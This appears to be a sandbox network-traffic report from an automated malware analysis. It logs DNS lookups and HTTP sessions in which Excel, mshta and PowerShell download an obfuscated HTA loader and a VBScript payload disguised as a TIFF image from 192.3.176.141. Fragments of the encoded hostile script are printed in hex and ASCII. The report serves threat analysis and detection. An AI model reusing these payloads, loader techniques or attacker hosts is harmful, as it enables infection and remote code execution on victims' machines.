Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 24, 2024 08:45:22.435332060 CEST	192.168.2.22	8.8.8.8	0x84b7	Standard query (0)	mpa.li	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:45:25.198833942 CEST	192.168.2.22	8.8.8.8	0x24d	Standard query (0)	mpa.li	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:45:39.850053072 CEST	192.168.2.22	8.8.8.8	0x1e9f	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:45:41.528641939 CEST	192.168.2.22	8.8.8.8	0x431c	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:45:44.406956911 CEST	192.168.2.22	8.8.8.8	0x3a47	Standard query (0)	mpa.li	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:45:44.417562962 CEST	192.168.2.22	8.8.8.8	0x3a47	Standard query (0)	mpa.li	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:45:59.794780970 CEST	192.168.2.22	8.8.8.8	0x6fb	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:46:01.556329012 CEST	192.168.2.22	8.8.8.8	0x3b7f	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:46:01.576849937 CEST	192.168.2.22	8.8.8.8	0x3b7f	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Oct 24, 2024 08:45:22.443413973 CEST	8.8.8.8	192.168.2.22	0x84b7	No error (0)	mpa.li	5.159.62.244	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:45:22.443413973 CEST	8.8.8.8	192.168.2.22	0x84b7	No error (0)	mpa.li	5.159.62.243	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:45:25.220220089 CEST	8.8.8.8	192.168.2.22	0x24d	No error (0)	mpa.li	5.159.62.243	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:45:25.220220089 CEST	8.8.8.8	192.168.2.22	0x24d	No error (0)	mpa.li	5.159.62.244	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:45:39.879537106 CEST	8.8.8.8	192.168.2.22	0x1e9f	No error (0)	drive.google.com	216.58.212.174	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:45:41.544504881 CEST	8.8.8.8	192.168.2.22	0x431c	No error (0)	drive.usercontent.google.com	142.250.186.97	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:45:44.414830923 CEST	8.8.8.8	192.168.2.22	0x3a47	No error (0)	mpa.li	5.159.62.243	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:45:44.414830923 CEST	8.8.8.8	192.168.2.22	0x3a47	No error (0)	mpa.li	5.159.62.244	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:45:44.425565958 CEST	8.8.8.8	192.168.2.22	0x3a47	No error (0)	mpa.li	5.159.62.243	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:45:44.425565958 CEST	8.8.8.8	192.168.2.22	0x3a47	No error (0)	mpa.li	5.159.62.244	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:45:59.803519964 CEST	8.8.8.8	192.168.2.22	0x6fb	No error (0)	drive.google.com	142.250.186.142	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:46:01.572320938 CEST	8.8.8.8	192.168.2.22	0x3b7f	No error (0)	drive.usercontent.google.com	142.250.186.97	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:46:01.585191965 CEST	8.8.8.8	192.168.2.22	0x3b7f	No error (0)	drive.usercontent.google.com	142.250.186.97	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

mpa.li

drive.google.com

drive.usercontent.google.com

192.3.176.141

94.156.177.220

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49164	192.3.176.141	80	3208	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:45:23.997997999 CEST	375	OUT	GET /36/bv/seethebestthingstobegoodwithhislifebestthigns.hta HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 192.3.176.141 Connection: Keep-Alive
Oct 24, 2024 08:45:24.692682028 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:45:23 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Thu, 24 Oct 2024 00:44:54 GMT ETag: "20a04-6252e4f9e216e" Accept-Ranges: bytes Content-Length: 133636 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/hta Data Raw: 3c 73 63 72 69 70 74 3e 0d 0a 3c 21 2d 2d 0d 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 75 6e 65 73 63 61 70 65 28 22 25 33 43 73 63 72 69 70 74 25 32 30 6c 61 6e 67 75 61 67 65 25 33 44 4a 61 76 61 53 63 72 69 70 74 25 33 45 6d 25 33 44 25 32 37 25 32 35 33 43 73 63 72 69 70 74 25 32 35 32 30 6c 61 6e 67 75 61 67 65 25 32 35 33 44 4a 61 76 61 53 63 72 69 70 74 25 32 35 33 45 6d 25 32 35 33 44 25 32 35 32 37 25 32 35 32 35 33 43 25 32 35 32 35 32 31 44 4f 43 54 59 50 45 25 32 35 32 35 32 30 68 74 6d 6c 25 32 35 32 35 33 45 25 32 35 32 35 30 41 25 32 35 32 35 33 43 6d 65 74 61 25 32 35 32 35 32 30 68 74 74 70 2d 65 71 75 69 76 25 32 35 32 35 33 44 25 32 35 32 35 32 32 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 25 32 35 32 35 32 32 25 32 35 32 35 32 30 63 6f 6e 74 65 6e 74 25 32 35 32 35 33 44 25 32 35 32 35 32 32 49 45 25 32 35 32 35 33 44 45 6d 75 6c 61 74 65 49 45 38 25 32 35 32 35 32 32 25 32 35 32 35 32 30 25 32 35 32 35 33 45 25 32 35 32 35 30 41 25 32 35 32 35 33 43 68 74 6d 6c 25 32 35 [TRUNCATED] Data Ascii: <script>...document.write(unescape("%3Cscript%20language%3DJavaScript%3Em%3D%27%253Cscript%2520language%253DJavaScript%253Em%253D%2527%25253C%252521DOCTYPE%252520html%25253E%25250A%25253Cmeta%252520http-equiv%25253D%252522X-UA-Compatible%252522%252520content%25253D%252522IE%25253DEmulateIE8%252522%252520%25253E%25250A%25253Chtml%25253E%25250A%25253Cbody%25253E%25250A%25253CscRiPT%252520TYpE%25253D%252522TexT/vBscrIpt%252522%25253E%25250ADiM%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%2525
Oct 24, 2024 08:45:24.692734003 CEST	1236	IN	Data Raw: 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 Data Ascii: 09%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%25
Oct 24, 2024 08:45:24.692785025 CEST	424	IN	Data Raw: 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 Data Ascii: 52509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509
Oct 24, 2024 08:45:24.692820072 CEST	1236	IN	Data Raw: 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 6a 74 4a 55 4e 52 64 48 58 64 64 47 6c 50 76 6e 47 59 63 6c 76 53 58 69 58 75 66 48 55 4d 51 72 Data Ascii: 9%252509%252509%252509%252509%252509%252509%252509jtJUNRdHXddGlPvnGYclvSXiXufHUMQrzikApbWIejoDTAruyOIlXMSKIuKatFvfCVifgINdpnNRNPMuXTKiTHYQSlfiKgmwinDFzTdnuYFsgRgIUUlXALRWpAtbjyQMfSwVKRtHhZPcoPbEczlAggZxOVAAdQKvitRWbKnHqYtPzQaGkqNLZZYOffCAJquTg
Oct 24, 2024 08:45:24.692852974 CEST	1236	IN	Data Raw: 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 Data Ascii: %252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%2525
Oct 24, 2024 08:45:24.692886114 CEST	1236	IN	Data Raw: 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 Data Ascii: 509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%2
Oct 24, 2024 08:45:24.692922115 CEST	1236	IN	Data Raw: 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 Data Ascii: 252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%25250
Oct 24, 2024 08:45:24.692964077 CEST	1236	IN	Data Raw: 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 Data Ascii: 52509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509
Oct 24, 2024 08:45:24.693002939 CEST	1096	IN	Data Raw: 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 Data Ascii: 9%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252
Oct 24, 2024 08:45:24.693046093 CEST	1236	IN	Data Raw: 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 Data Ascii: 2509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%
Oct 24, 2024 08:45:24.698542118 CEST	1236	IN	Data Raw: 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 Data Ascii: %252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%2525

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49166	192.3.176.141	80	3484	C:\Windows\System32\mshta.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:45:26.735239983 CEST	452	OUT	GET /36/bv/seethebestthingstobegoodwithhislifebestthigns.hta HTTP/1.1 Accept: / Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Range: bytes=8896- Connection: Keep-Alive Host: 192.3.176.141 If-Range: "20a04-6252e4f9e216e"
Oct 24, 2024 08:45:27.389779091 CEST	1236	IN	HTTP/1.1 206 Partial Content Date: Thu, 24 Oct 2024 06:45:26 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Thu, 24 Oct 2024 00:44:54 GMT ETag: "20a04-6252e4f9e216e" Accept-Ranges: bytes Content-Length: 124740 Content-Range: bytes 8896-133635/133636 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/hta Data Raw: 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 [TRUNCATED] Data Ascii: 9%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%25253A%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509
Oct 24, 2024 08:45:27.389837980 CEST	1236	IN	Data Raw: 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 Data Ascii: %252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%2525
Oct 24, 2024 08:45:27.389909029 CEST	1236	IN	Data Raw: 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 Data Ascii: 509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%2
Oct 24, 2024 08:45:27.389930010 CEST	1236	IN	Data Raw: 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 Data Ascii: 09%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%25
Oct 24, 2024 08:45:27.389967918 CEST	1236	IN	Data Raw: 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 Data Ascii: 52509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509
Oct 24, 2024 08:45:27.389986992 CEST	1096	IN	Data Raw: 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 Data Ascii: 2509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%
Oct 24, 2024 08:45:27.390022993 CEST	1236	IN	Data Raw: 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 Data Ascii: %252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%2525
Oct 24, 2024 08:45:27.390041113 CEST	1236	IN	Data Raw: 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 Data Ascii: 509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%2
Oct 24, 2024 08:45:27.390059948 CEST	1236	IN	Data Raw: 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 Data Ascii: 252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%25250
Oct 24, 2024 08:45:27.390081882 CEST	1236	IN	Data Raw: 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 Data Ascii: %252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%2525
Oct 24, 2024 08:45:27.395416021 CEST	848	IN	Data Raw: 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 32 38 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 35 32 35 30 39 25 32 Data Ascii: 509%252509%252509%252528%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.22	49167	192.3.176.141	80	3568	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:45:33.740700960 CEST	369	OUT	GET /36/goodthingswithgreatcomebackwithgreatthigns.tIF HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 192.3.176.141 Connection: Keep-Alive
Oct 24, 2024 08:45:34.428013086 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:45:33 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Thu, 24 Oct 2024 00:28:17 GMT ETag: "22272-6252e1433ac91" Accept-Ranges: bytes Content-Length: 139890 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: image/tiff Data Raw: ff fe 70 00 72 00 69 00 76 00 61 00 74 00 65 00 20 00 66 00 75 00 6e 00 63 00 74 00 69 00 6f 00 6e 00 20 00 43 00 72 00 65 00 61 00 74 00 65 00 53 00 65 00 73 00 73 00 69 00 6f 00 6e 00 28 00 77 00 73 00 6d 00 61 00 6e 00 2c 00 20 00 63 00 6f 00 6e 00 53 00 74 00 72 00 2c 00 20 00 6f 00 70 00 74 00 44 00 69 00 63 00 2c 00 20 00 65 00 73 00 74 00 61 00 6d 00 62 00 72 00 65 00 69 00 72 00 6f 00 29 00 0d 00 0a 00 20 00 20 00 20 00 20 00 64 00 69 00 6d 00 20 00 61 00 70 00 6f 00 75 00 63 00 61 00 64 00 6f 00 46 00 6c 00 61 00 67 00 73 00 0d 00 0a 00 20 00 20 00 20 00 20 00 64 00 69 00 6d 00 20 00 63 00 6f 00 6e 00 4f 00 70 00 74 00 20 00 0d 00 0a 00 20 00 20 00 20 00 20 00 64 00 69 00 6d 00 20 00 61 00 70 00 6f 00 75 00 63 00 61 00 64 00 6f 00 0d 00 0a 00 20 00 20 00 20 00 20 00 64 00 69 00 6d 00 20 00 61 00 75 00 74 00 68 00 56 00 61 00 6c 00 0d 00 0a 00 20 00 20 00 20 00 20 00 64 00 69 00 6d 00 20 00 65 00 6e 00 63 00 6f 00 64 00 69 00 6e 00 67 00 56 00 61 00 6c 00 0d 00 0a 00 20 00 20 00 20 00 20 00 [TRUNCATED] Data Ascii: private function CreateSession(wsman, conStr, optDic, estambreiro) dim apoucadoFlags dim conOpt dim apoucado dim authVal dim encodingVal dim encryptVal dim pw dim tout ' proxy information dim proxyAccessType dim proxyAccessTypeVal dim proxyAuthenticationMechanism dim proxyAuthenticationMechanismVal dim proxyUsername dim proxyPassword apoucadoFlags = 0 proxyAccessTy
Oct 24, 2024 08:45:34.428044081 CEST	212	IN	Data Raw: 00 70 00 65 00 20 00 3d 00 20 00 30 00 0d 00 0a 00 20 00 20 00 20 00 20 00 70 00 72 00 6f 00 78 00 79 00 41 00 63 00 63 00 65 00 73 00 73 00 54 00 79 00 70 00 65 00 56 00 61 00 6c 00 20 00 3d 00 20 00 30 00 0d 00 0a 00 20 00 20 00 20 00 20 00 70 Data Ascii: pe = 0 proxyAccessTypeVal = 0 proxyAuthenticationMechanism = 0 proxyAuthenticationMechanism
Oct 24, 2024 08:45:34.428060055 CEST	1236	IN	Data Raw: 00 56 00 61 00 6c 00 20 00 3d 00 20 00 30 00 0d 00 0a 00 20 00 20 00 20 00 20 00 70 00 72 00 6f 00 78 00 79 00 55 00 73 00 65 00 72 00 6e 00 61 00 6d 00 65 00 20 00 3d 00 20 00 22 00 22 00 0d 00 0a 00 20 00 20 00 20 00 20 00 70 00 72 00 6f 00 78 Data Ascii: Val = 0 proxyUsername = "" proxyPassword = "" set conOpt = Nothing if optDic.ArgumentExists(N
Oct 24, 2024 08:45:34.428076029 CEST	1236	IN	Data Raw: 00 20 00 20 00 20 00 20 00 20 00 20 00 27 00 20 00 49 00 6e 00 76 00 61 00 6c 00 69 00 64 00 21 00 20 00 20 00 0d 00 0a 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 41 00 53 00 53 00 45 00 52 00 54 00 42 00 4f 00 4f Data Ascii: ' Invalid! ASSERTBOOL false, "The specified encoding flag is invalid." end if end if
Oct 24, 2024 08:45:34.428091049 CEST	1236	IN	Data Raw: 00 27 00 20 00 6f 00 70 00 74 00 69 00 6f 00 6e 00 20 00 69 00 73 00 20 00 6f 00 6e 00 6c 00 79 00 20 00 76 00 61 00 6c 00 69 00 64 00 20 00 77 00 68 00 65 00 6e 00 20 00 75 00 73 00 65 00 64 00 20 00 77 00 69 00 74 00 68 00 20 00 74 00 68 00 65 Data Ascii: ' option is only valid when used with the '-remote' option" apoucadoFlags = apoucadoFlags OR wsman.SessionFlagUs
Oct 24, 2024 08:45:34.428106070 CEST	636	IN	Data Raw: 00 45 00 52 00 4e 00 41 00 4d 00 45 00 29 00 2c 00 20 00 22 00 54 00 68 00 65 00 20 00 27 00 2d 00 22 00 20 00 26 00 20 00 4e 00 50 00 41 00 52 00 41 00 5f 00 55 00 53 00 45 00 52 00 4e 00 41 00 4d 00 45 00 20 00 26 00 20 00 22 00 27 00 20 00 6f Data Ascii: ERNAME), "The '-" & NPARA_USERNAME & "' option is not valid for '-auth:none'" ASSERTBOOL not optDic.Argu
Oct 24, 2024 08:45:34.428121090 CEST	1236	IN	Data Raw: 00 54 00 42 00 4f 00 4f 00 4c 00 20 00 6f 00 70 00 74 00 44 00 69 00 63 00 2e 00 41 00 72 00 67 00 75 00 6d 00 65 00 6e 00 74 00 45 00 78 00 69 00 73 00 74 00 73 00 28 00 4e 00 50 00 41 00 52 00 41 00 5f 00 55 00 53 00 45 00 52 00 4e 00 41 00 4d Data Ascii: TBOOL optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option must be specified for '-auth:basic'"
